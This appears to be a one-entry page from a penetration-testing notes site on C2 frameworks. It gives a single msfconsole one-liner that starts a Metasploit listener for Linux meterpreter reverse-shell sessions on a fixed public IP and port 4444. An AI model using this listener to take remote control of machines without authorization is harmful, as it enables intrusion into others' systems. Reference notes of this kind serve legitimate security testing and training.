> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/c2-frameworks/metasploit.md).

# Metasploit

## Msfconsole Listener 1 Liner

```python
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 191.96.31.13; set LPORT 4444; set EXITONSESSION FALSE; exploit -j"
```

<figure><img src="/files/uQ6qghwwcsPYZ0omu6Su" alt=""><figcaption></figcaption></figure>
